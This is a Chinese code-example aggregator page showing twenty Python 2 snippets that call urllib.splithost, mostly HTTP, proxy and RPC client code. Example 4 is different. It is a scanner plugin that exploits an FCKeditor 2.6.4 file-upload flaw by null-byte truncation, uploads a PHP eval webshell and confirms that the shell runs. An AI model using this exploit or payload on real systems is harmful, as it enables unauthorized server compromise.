• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

Python urllib.splithost函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了Python中urllib.splithost函数的典型用法代码示例。如果您正苦于以下问题:Python splithost函数的具体用法?Python splithost怎么用?Python splithost使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了splithost函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。

示例1: open_http

    def open_http(self, url, data=None):
        """Use HTTP protocol."""
        import httplib
        user_passwd = None
        if type(url) is type(""):
            host, selector = splithost(url)
            if host:
                user_passwd, host = splituser(host)
                host = unquote(host)
            realhost = host
        else:
            host, selector = url
            urltype, rest = splittype(selector)
            url = rest
            user_passwd = None
            if string.lower(urltype) != 'http':
                realhost = None
            else:
                realhost, rest = splithost(rest)
                if realhost:
                    user_passwd, realhost = splituser(realhost)
                if user_passwd:
                    selector = "%s://%s%s" % (urltype, realhost, rest)
            #print "proxy via http:", host, selector
        if not host: raise IOError, ('http error', 'no host given')
        if user_passwd:
            import base64
            auth = string.strip(base64.encodestring(user_passwd))
        else:
            auth = None
        h = httplib.HTTP(host)
        if data is not None:
            h.putrequest('POST', selector)
            h.putheader('Content-type', 'application/x-www-form-urlencoded')
            h.putheader('Content-length', '%d' % len(data))
        else:
            h.putrequest('GET', selector)
        for cookie in self.cookies.items():
            h.putheader('Cookie', '%s=%s;' % cookie)

        if auth: h.putheader('Authorization', 'Basic %s' % auth)
        if realhost: h.putheader('Host', realhost)
        for args in self.addheaders: apply(h.putheader, args)
        h.endheaders()
        if data is not None:
            h.send(data + '\r\n')
        errcode, errmsg, headers = h.getreply()
        if headers and headers.has_key('set-cookie'):
            cookies = headers.getallmatchingheaders('set-cookie')
            for cookie in cookies: self.cookies.load(cookie)

        fp = h.getfile()
        if errcode == 200:
            return addinfourl(fp, headers, "http:" + url)
        else:
            if data is None:
                return self.http_error(url, fp, errcode, errmsg, headers)
            else:
                return self.http_error(url, fp, errcode, errmsg, headers, data)
开发者ID:Verde1705,项目名称:erp5,代码行数:59,代码来源:erp5_url_checker.py


示例2: open_http

def open_http(url, data=None):
    """Use HTTP protocol."""
    import httplib
    user_passwd = None
    proxy_passwd= None
    if isinstance(url, str):
        host, selector = urllib.splithost(url)
        if host:
            user_passwd, host = urllib.splituser(host)
            host = urllib.unquote(host)
        realhost = host
    else:
        host, selector = url
        # check whether the proxy contains authorization information
        proxy_passwd, host = urllib.splituser(host)
        # now we proceed with the url we want to obtain
        urltype, rest = urllib.splittype(selector)
        url = rest
        user_passwd = None
        if urltype.lower() != 'http':
            realhost = None
        else:
            realhost, rest = urllib.splithost(rest)
            if realhost:
                user_passwd, realhost = urllib.splituser(realhost)
            if user_passwd:
                selector = "%s://%s%s" % (urltype, realhost, rest)
            if urllib.proxy_bypass(realhost):
                host = realhost

        #print "proxy via http:", host, selector
    if not host: raise IOError, ('http error', 'no host given')

    if proxy_passwd:
        import base64
        proxy_auth = base64.b64encode(proxy_passwd).strip()
    else:
        proxy_auth = None

    if user_passwd:
        import base64
        auth = base64.b64encode(user_passwd).strip()
    else:
        auth = None
    c = FakeHTTPConnection(host)
    if data is not None:
        c.putrequest('POST', selector)
        c.putheader('Content-Type', 'application/x-www-form-urlencoded')
        c.putheader('Content-Length', '%d' % len(data))
    else:
        c.putrequest('GET', selector)
    if proxy_auth: c.putheader('Proxy-Authorization', 'Basic %s' % proxy_auth)
    if auth: c.putheader('Authorization', 'Basic %s' % auth)
    if realhost: c.putheader('Host', realhost)
    for args in urllib.URLopener().addheaders: c.putheader(*args)
    c.endheaders()
    return c
开发者ID:resistivecorpse,项目名称:Limnoria,代码行数:57,代码来源:test.py


示例3: open_https

def open_https(self, url, data=None, ssl_context=None):
    if ssl_context is not None and isinstance(ssl_context, SSL.Context):
        self.ctx = ssl_context
    else:
        self.ctx = SSL.Context(DEFAULT_PROTOCOL)
    user_passwd = None
    if isinstance(url, basestring):
        host, selector = urllib.splithost(url)
        if host:
            user_passwd, host = urllib.splituser(host)
            host = urllib.unquote(host)
        realhost = host
    else:
        host, selector = url
        urltype, rest = urllib.splittype(selector)
        url = rest
        user_passwd = None
        if urltype.lower() != 'http':
            realhost = None
        else:
            realhost, rest = urllib.splithost(rest)
            if realhost:
                user_passwd, realhost = urllib.splituser(realhost)
            if user_passwd:
                selector = "%s://%s%s" % (urltype, realhost, rest)
        # print("proxy via http:", host, selector)
    if not host:
        raise IOError('http error', 'no host given')
    if user_passwd:
        import base64
        auth = base64.encodestring(user_passwd).strip()
    else:
        auth = None
    # Start here!
    h = httpslib.HTTPSConnection(host=host, ssl_context=self.ctx)
    # h.set_debuglevel(1)
    # Stop here!
    if data is not None:
        h.putrequest('POST', selector)
        h.putheader('Content-type', 'application/x-www-form-urlencoded')
        h.putheader('Content-length', '%d' % len(data))
    else:
        h.putrequest('GET', selector)
    if auth:
        h.putheader('Authorization', 'Basic %s' % auth)
    for args in self.addheaders:
        apply(h.putheader, args)
    h.endheaders()
    if data is not None:
        h.send(data + '\r\n')
    # Here again!
    resp = h.getresponse()
    fp = resp.fp
    return urllib.addinfourl(fp, resp.msg, "https:" + url)
开发者ID:rodrigc,项目名称:m2crypto,代码行数:54,代码来源:m2urllib.py


示例4: verify

    def verify(self):
        url = self.target
        filename = "ice.gif"
        foldername = "ice.php%00.gif"
        connector = "editor/filemanager/connectors/php/connector.php";
        proto, rest = urllib.splittype(url)
        host, rest = urllib.splithost(rest)
        payload = "-----------------------------265001916915724\r\n"
        payload += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"ice.gif\"\r\n"
        payload += "Content-Type: image/jpeg\r\n\r\n"
        payload += 'GIF89a'+"\r\n"+'<?php eval($_POST[ice]) ?>'+"\n"
        payload += "-----------------------------265001916915724--\r\n"
        packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder="+foldername+" HTTP/1.0\r\n";
        packet += "Host: "+ host +"\r\n"
        packet += "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n"
        packet += "Content-Length: "+ str(len(payload))+"\r\n"
        packet += "Connection: close\r\n\r\n"
        packet += payload
        webshell_url = url + '/uploadfile/file/ice.php'
        urllib2.urlopen(url, data=packet,timeout=5)
        request = urllib2.Request(webshell_url, data="e=echo strrev(gwesdvjvncqwdijqiwdqwduhq);")
        response = urllib2.urlopen(request).read()

        if 'gwesdvjvncqwdijqiwdqwduhq'[::-1] in response:
            self.result['status'] = True
            self.result['info'] = "目标存在fckeditor 2.6.4 %00截断任意文件上传漏洞, webshell: %s 密码ice" % webshell_url
开发者ID:psyray,项目名称:WebSecurity,代码行数:26,代码来源:fckeditor_2_6_4_file_upload.py


示例5: compile

    def compile(self):
        """Validate the user submitted url address at compile stage.

        The url address will be tested with the configured regex patterns
        loaded from :attr:`BaseHost.compiler_params`.
        Refer to :ref:`hwnetapi` for more details about the rules.
        """
        if self.config['urlrule']:
            p = re.compile(self.config['urlrule'])
            if not p.match(self.config['remote_addr']):
                raise NetApiAddressRejected(compile_error=lazy_gettext(
                    'Address "%(url)s" does not match pattern "%(rule)s"',
                    url=self.config['remote_addr'], rule=self.config['urlrule']
                ))
        if self.config['iprule']:
            domain = urllib.splitport(
                urllib.splithost(
                    urllib.splittype(self.config['remote_addr'])[1]
                )[0]
            )[0]
            # get ip from domain
            try:
                ipaddr = socket.gethostbyname(domain)
            except Exception:
                logger.exception(
                    'Could not get ip address for domain "%s".' % domain)
                ipaddr = '<invalid>'
            # ip not match, skip
            p = re.compile(self.config['iprule'])
            if not p.match(ipaddr):
                raise NetApiAddressRejected(compile_error=lazy_gettext(
                    'IP address "%(ip)s" does not match pattern "%(rule)s"',
                    ip=ipaddr, rule=self.config['iprule']
                ))
开发者ID:heyLinsir,项目名称:railgun,代码行数:34,代码来源:host.py


示例6: __init__

 def __init__(self, uri, transport=None, encoding=None,
              verbose=0, version=None):
     import urllib
     if not version:
         version = config.version
     self.__version = version
     schema, uri = urllib.splittype(uri)
     if schema not in ('http', 'https', 'unix'):
         raise IOError('Unsupported JSON-RPC protocol.')
     if schema == 'unix':
         if not USE_UNIX_SOCKETS:
             # Don't like the "generic" Exception...
             raise UnixSocketMissing("Unix sockets not available.")
         self.__host = uri
         self.__handler = '/'
     else:
         self.__host, self.__handler = urllib.splithost(uri)
         if not self.__handler:
             # Not sure if this is in the JSON spec?
             # self.__handler = '/'
             self.__handler == '/'
     if transport is None:
         if schema == 'unix':
             transport = UnixTransport()
         elif schema == 'https':
             transport = SafeTransport()
         else:
             transport = Transport()
     self.__transport = transport
     self.__encoding = encoding
     self.__verbose = verbose
开发者ID:Inter-Actief,项目名称:jsonrpclib,代码行数:31,代码来源:jsonrpc.py


示例7: request

    def request(self, host, handler, request_body, verbose=0):
        type, r_type = splittype(self.proxy)

        if 'http' in type:
            phost, XXX = splithost(r_type)
        else:
            phost = self.proxy

        puser_pass = None
        if '@' in phost:
            user_pass, phost = phost.split('@', 1)
            if ':' in user_pass:
                user, password = user_pass.split(':', 1)
                puser_pass = base64.encodestring('%s:%s' % (unquote(user),unquote(password))).strip()

        urlopener = urllib.FancyURLopener({'http':'http://%s'%phost})
        if not puser_pass:
            urlopener.addheaders = [('User-agent', self.user_agent)]
        else:
            urlopener.addheaders = [('User-agent', self.user_agent),('Proxy-authorization', 'Basic ' + puser_pass)]

        host = unquote(host)
        f = urlopener.open("http://%s%s"%(host,handler), request_body)

        self.verbose = verbose
        return self.parse_response(f)
开发者ID:NehaRawat,项目名称:spacewalk,代码行数:26,代码来源:rhn-clone-errata.py


示例8: start

    def start(self, destfile=None, destfd=None):
        urllib._urlopener = OLPCURLopener()
        self._info = urllib.urlopen(self._url)
        self._outf = None
        self._fname = None
        if destfd and not destfile:
            raise ValueError('Must provide destination file too when'
                             ' specifying file descriptor')
        if destfile:
            self._suggested_fname = os.path.basename(destfile)
            self._fname = os.path.abspath(os.path.expanduser(destfile))
            if destfd:
                # Use the user-supplied destination file descriptor
                self._outf = destfd
            else:
                self._outf = os.open(self._fname, os.O_RDWR |
                                     os.O_TRUNC | os.O_CREAT, 0644)
        else:
            fname = self._get_filename_from_headers(self._info.headers)
            self._suggested_fname = fname
            garbage_, path = urllib.splittype(self._url)
            garbage_, path = urllib.splithost(path or "")
            path, garbage_ = urllib.splitquery(path or "")
            path, garbage_ = urllib.splitattr(path or "")
            suffix = os.path.splitext(path)[1]
            (self._outf, self._fname) = tempfile.mkstemp(suffix=suffix,
                                                         dir=self._destdir)

        fcntl.fcntl(self._info.fp.fileno(), fcntl.F_SETFD, os.O_NDELAY)
        self._srcid = GObject.io_add_watch(self._info.fp.fileno(),
                                           GObject.IO_IN | GObject.IO_ERR,
                                           self._read_next_chunk)
开发者ID:leonardcj,项目名称:readetexts,代码行数:32,代码来源:network.py


示例9: request

 def request(self, method, url, body=None, headers={}):
     """
     Make CONNECT request to proxy.
     """
         
     proto, rest = urllib.splittype(url)
     if proto is None:
         raise ValueError, "unknown URL type: %s" % url
         
     # Get hostname.
     host = urllib.splithost(rest)[0]
     
     # Get port of one
     host, port = urllib.splitport(host)
     
     # When no port use hardcoded.
     if port is None:
         try:
             port = self._ports[proto]
         except KeyError:
             raise ValueError, "unknown protocol for: %s" % url
     
     # Remember.        
     self._real_host = host
     self._real_port = port
     
     # Remember auth if there.
     if headers.has_key("Proxy-Authorization"):
         self._proxy_authorization = headers["Proxy-Authorization"]
         del headers["Proxy-Authorization"]
     else:
         self._proxy_authorization = None
     
     httplib.HTTPConnection.request(self, method, url, body, headers)
开发者ID:andreashe,项目名称:mygitsite,代码行数:34,代码来源:proxysupport.py


示例10: _get_real_authority

    def _get_real_authority(self):
        """
        Return the authority specification of the originally requested URL.

        The return value is a string of the form <host>:<port>.

        """

        url = self._proxy_request.get_selector()

        proto, rest = urllib.splittype(url)
        if proto is None:
            raise ValueError("unknown URL type: %s" % url)

        # Get the host and port specification
        host, rest = urllib.splithost(rest)
        host, port = urllib.splitport(host)

        # If port is not defined, then try to get it from the protocol.
        if port is None:
            try:
                port = self._ports[proto]
            except KeyError:
                raise ValueError("unknown protocol for: %s" % url)

        return '%s:%d' % (host, port)
开发者ID:pombredanne,项目名称:ensetuptools,代码行数:26,代码来源:connect_HTTP_handler.py


示例11: do_open

    def do_open(self, http_class, req):
        host = req.get_host()
        if not host:
            raise URLError('no host given')

        h = http_class(host) # will parse host:port
        if req.has_data():
            data = req.get_data()
            h.putrequest('POST', req.get_selector())
            if not req.headers.has_key('Content-type'):
                h.putheader('Content-type',
                            'application/x-www-form-urlencoded')
            if not req.headers.has_key('Content-length'):
                h.putheader('Content-length', '%d' % len(data))
        else:
            h.putrequest('GET', req.get_selector())

        scheme, sel = splittype(req.get_selector())
        sel_host, sel_path = splithost(sel)
        h.putheader('Host', sel_host or host)
        for args in self.parent.addheaders:
            h.putheader(*args)
        for k, v in req.headers.items():
            h.putheader(k, v)
        # httplib will attempt to connect() here.  be prepared
        # to convert a socket error to a URLError.
        try:
            h.endheaders()
        except socket.error, err:
            raise URLError(err)
开发者ID:paulgay,项目名称:crf_dia_ident,代码行数:30,代码来源:urllib2.py


示例12: do_request_

    def do_request_(self, request):
        host = request.get_host()
        if not host:
            raise URLError("no host given")

        if request.has_data():  # POST
            data = request.get_data()
            if not request.has_header("Content-type"):
                request.add_unredirected_header("Content-type", "application/x-www-form-urlencoded")
            if not request.has_header("Content-length"):
                request.add_unredirected_header("Content-length", "%d" % len(data))

        sel_host = host
        if request.has_proxy():
            scheme, sel = splittype(request.get_selector())
            sel_host, sel_path = splithost(sel)

        if not request.has_header("Host"):
            request.add_unredirected_header("Host", sel_host)
        for name, value in self.parent.addheaders:
            name = name.capitalize()
            if not request.has_header(name):
                request.add_unredirected_header(name, value)

        return request
开发者ID:JoJoBond,项目名称:The-Powder-Toy,代码行数:25,代码来源:urllib2.py


示例13: __init__

    def __init__(self, uri, transport=None, encoding=None, verbose=0, auth_username=None, auth_password=None):
        # establish a "logical" server connection

        # get the url
        import urllib

        type, uri = urllib.splittype(uri)
        if type:
            if type not in ("http", "https"):
                raise IOError, "unsupported XML-RPC protocol"
            self.__host, self.__handler = urllib.splithost(uri)
            if not self.__handler:
                self.__handler = "/RPC2"

            if transport is None:
                if type == "https":
                    transport = SafeTransport()
                else:
                    transport = Transport()
        else:
            self.__host = uri
            transport = RawTransport()

        self.__transport = transport

        self.__encoding = encoding
        self.__verbose = verbose

        self.__username = auth_username
        self.__password = auth_password
开发者ID:joeshaw,项目名称:rcd,代码行数:30,代码来源:ximian_xmlrpclib.py


示例14: __init__

 def __init__(self, url, progress_cb=None, auth=None, config=None, 
              client_string_func=None, open_tmp_file_func=None):
     self.url = url
     (type, opaque) = urllib.splittype(url)
     assert type in ("svn", "svn+ssh")
     (host, path) = urllib.splithost(opaque)
     self._progress_cb = progress_cb
     self._auth = auth
     self._config = config
     self._client_string_func = client_string_func
     # open_tmp_file_func is ignored, as it is not needed for svn://
     if type == "svn":
         (recv_func, send_func) = self._connect(host)
     else:
         (recv_func, send_func) = self._connect_ssh(host)
     super(SVNClient, self).__init__(recv_func, send_func)
     (min_version, max_version, _, self._server_capabilities) = self._recv_greeting()
     self.send_msg([max_version, [literal(x) for x in CAPABILITIES if x in self._server_capabilities], self.url])
     (self._server_mechanisms, mech_arg) = self._unpack()
     if self._server_mechanisms != []:
         # FIXME: Support other mechanisms as well
         self.send_msg([literal("ANONYMOUS"), [base64.b64encode("[email protected]%s" % socket.gethostname())]])
         self.recv_msg()
     msg = self._unpack()
     if len(msg) > 2:
         self._server_capabilities += msg[2]
     (self._uuid, self._root_url) = msg[0:2]
     self.busy = False
开发者ID:lygstate,项目名称:subvertpy,代码行数:28,代码来源:ra_svn.py


示例15: processRequest

 def processRequest(self,method=None,url=None,data="",headers={}):
     conf = desktop.Config()
     if not conf['proxy']:
         self.proxy_host = None
         self.proxy_port = None
     else:
         self.proxy_host = conf['proxy']['proxy']
         self.proxy_port = conf['proxy']['proxy_port']
     socket.setdefaulttimeout(self.http_timeout)
     (protocol,resource) = urllib.splittype(url)
     (hostport,path) = urllib.splithost(resource)
     connexion = None
     if protocol.lower() == "http":
         (host,port) = urllib.splitnport(hostport, 80)
         import httplib
         if self.proxy_host != None and self.proxy_port != None :
             connexion = HTTPConnection(self.proxy_host, self.proxy_port, timeout=self.http_timeout)
             path = url
         else:
             connexion = HTTPConnection(host, port, timeout=self.http_timeout)
     elif protocol.lower() == "https" :
         (host,port) = urllib.splitnport(hostport, 443)
         connexion = HTTPSConnection(host, port)
         if self.proxy_host != None and self.proxy_port != None :
             connexion.http_proxy = [self.proxy_host,
                                     self.proxy_port]
     else:
         assert False, "Unhandled Protocol, please use HTTP or HTTPS"
     
         
     connexion.connect()
     connexion.request(method, path, body=data, headers=headers)
     response = connexion.getresponse()
     
     return response
开发者ID:delaballe,项目名称:KaraCos-Desktop,代码行数:35,代码来源:http.py


示例16: init_server

    def init_server(self, myuri):
        #Borrowed the following from rpcServer.py
        #rpclib.Server.__init__(self, uri, transport=self.rpc_args['transport'], encoding=self.rpc_args['encoding'], verbose=self.rpc_args['verbose'],\
        #                              proxy=self.rpc_args['proxy'], username=self.rpc_args['username'],\
        #                              password=self.rpc_args['password'], refreshCallback=self.rpc_args['refreshCallback'],\
        #                              progressCallback=self.rpc_args['progressCallback'])
        self._uri = myuri
        typ, uri = urllib.splittype(self._uri)
        typ = typ.lower()
        if typ not in ("http", "https"):
            raise InvalidRedirectionError(
                "Redirected to unsupported protocol %s" % typ)

        self._host, self._handler = urllib.splithost(uri)
        self._orig_handler = self._handler
        self._type = typ
        if not self._handler:
            self._handler = self.rpc_handler
        self._allow_redirect = 1
        del self._transport
        self._transport = self.default_transport(typ, self._proxy,
                                             self._username, self._password)
        self.set_progress_callback(self._progressCallback)
        self.set_refresh_callback(self._refreshCallback)
        self.set_buffer_size(self._bufferSize)
        self.setlang(self._lang)

        if self._trusted_cert_files != [] and \
            hasattr(self._transport, "add_trusted_cert"):
            for certfile in self._trusted_cert_files:
                self._transport.add_trusted_cert(certfile)
开发者ID:dewayneHat,项目名称:spacewalk,代码行数:31,代码来源:rpc_wrapper.py


示例17: __init__

 def __init__(self, url, _client=None):
     Transport.__init__(self, url)
     (scheme, _, loc, _, _) = urlparse.urlsplit(url)
     assert scheme == "git"
     hostport, self._path = urllib.splithost(loc)
     (self._host, self._port) = urllib.splitnport(hostport, git.protocol.TCP_GIT_PORT)
     self._client = _client
开发者ID:harsh-a1,项目名称:repeater-testing,代码行数:7,代码来源:remote.py


示例18: _add_proxy

def _add_proxy(session, config):
    if None in (config.proxy_url, config.proxy_port):
        return

    # Set session.proxies according to given url and port
    protocol, remainder = urllib.splittype(config.proxy_url)
    host, remainder = urllib.splithost(remainder)
    url = ':'.join((host, str(config.proxy_port)))

    if config.proxy_username:
        password_part = config.get('proxy_password', '') and ':%s' % config.proxy_password
        auth = config.proxy_username + password_part
        auth = urllib.quote(auth, safe=':')
        url = '@'.join((auth, url))

    session.proxies['https'] = '://'.join((protocol, url))
    session.proxies['http'] = '://'.join((protocol, url))

    # Set session.auth if proxy username is specified
    if config.proxy_username is not None:
        proxy_password = config.get('proxy_password', '')
        if None in (config.basic_auth_username, config.basic_auth_password):
            # bz 1021662 - Proxy authentiation using username and password in session.proxies urls
            # does not setup correct headers in the http download request because of a bug in
            # urllib3. This is an alternate approach which sets up the headers correctly.
            session.auth = requests.auth.HTTPProxyAuth(config.proxy_username, proxy_password)
        else:
            # The approach mentioned above works well except when a basic user authentication is
            # used, along with the proxy authentication. Therefore, we define and use a custom class
            # which inherits AuthBase class provided by the requests library to add the headers
            # correctly.
            session.auth = HTTPBasicWithProxyAuth(config.basic_auth_username,
                                                  config.basic_auth_password,
                                                  config.proxy_username,
                                                  proxy_password)
开发者ID:pulp,项目名称:nectar,代码行数:35,代码来源:threaded.py


示例19: parse_callback_url

 def parse_callback_url(self, callback_url):
     proto, rest = urllib.splittype(callback_url)
     host, rest = urllib.splithost(rest)
     host, port = urllib.splitport(host)
     if not port:
         port = 443
     return host, port
开发者ID:lls3018,项目名称:mdmi,代码行数:7,代码来源:base.py


示例20: __init__

    def __init__(self, username=None, password=None, serverurl=None):
        self.username = username
        self.password = password
        self.verbose = False
        self.serverurl = serverurl
        if serverurl.startswith("http://"):
            type, uri = urllib.splittype(serverurl)
            host, path = urllib.splithost(uri)
            host, port = urllib.splitport(host)
            if port is None:
                port = 80
            else:
                port = int(port)

            def get_connection(host=host, port=port):
                return httplib.HTTPConnection(host, port)

            self._get_connection = get_connection
        elif serverurl.startswith("unix://"):

            def get_connection(serverurl=serverurl):
                # we use 'localhost' here because domain names must be
                # < 64 chars (or we'd use the serverurl filename)
                conn = UnixStreamHTTPConnection("localhost")
                conn.socketfile = serverurl[7:]
                return conn

            self._get_connection = get_connection
        else:
            raise ValueError("Unknown protocol for serverurl %s" % serverurl)
开发者ID:Jude7,项目名称:minos,代码行数:30,代码来源:xmlrpc.py



注:本文中的urllib.splithost函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
Python urllib.splitnport函数代码示例发布时间:2022-05-27
下一篇:
Python urllib.request函数代码示例发布时间:2022-05-27
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap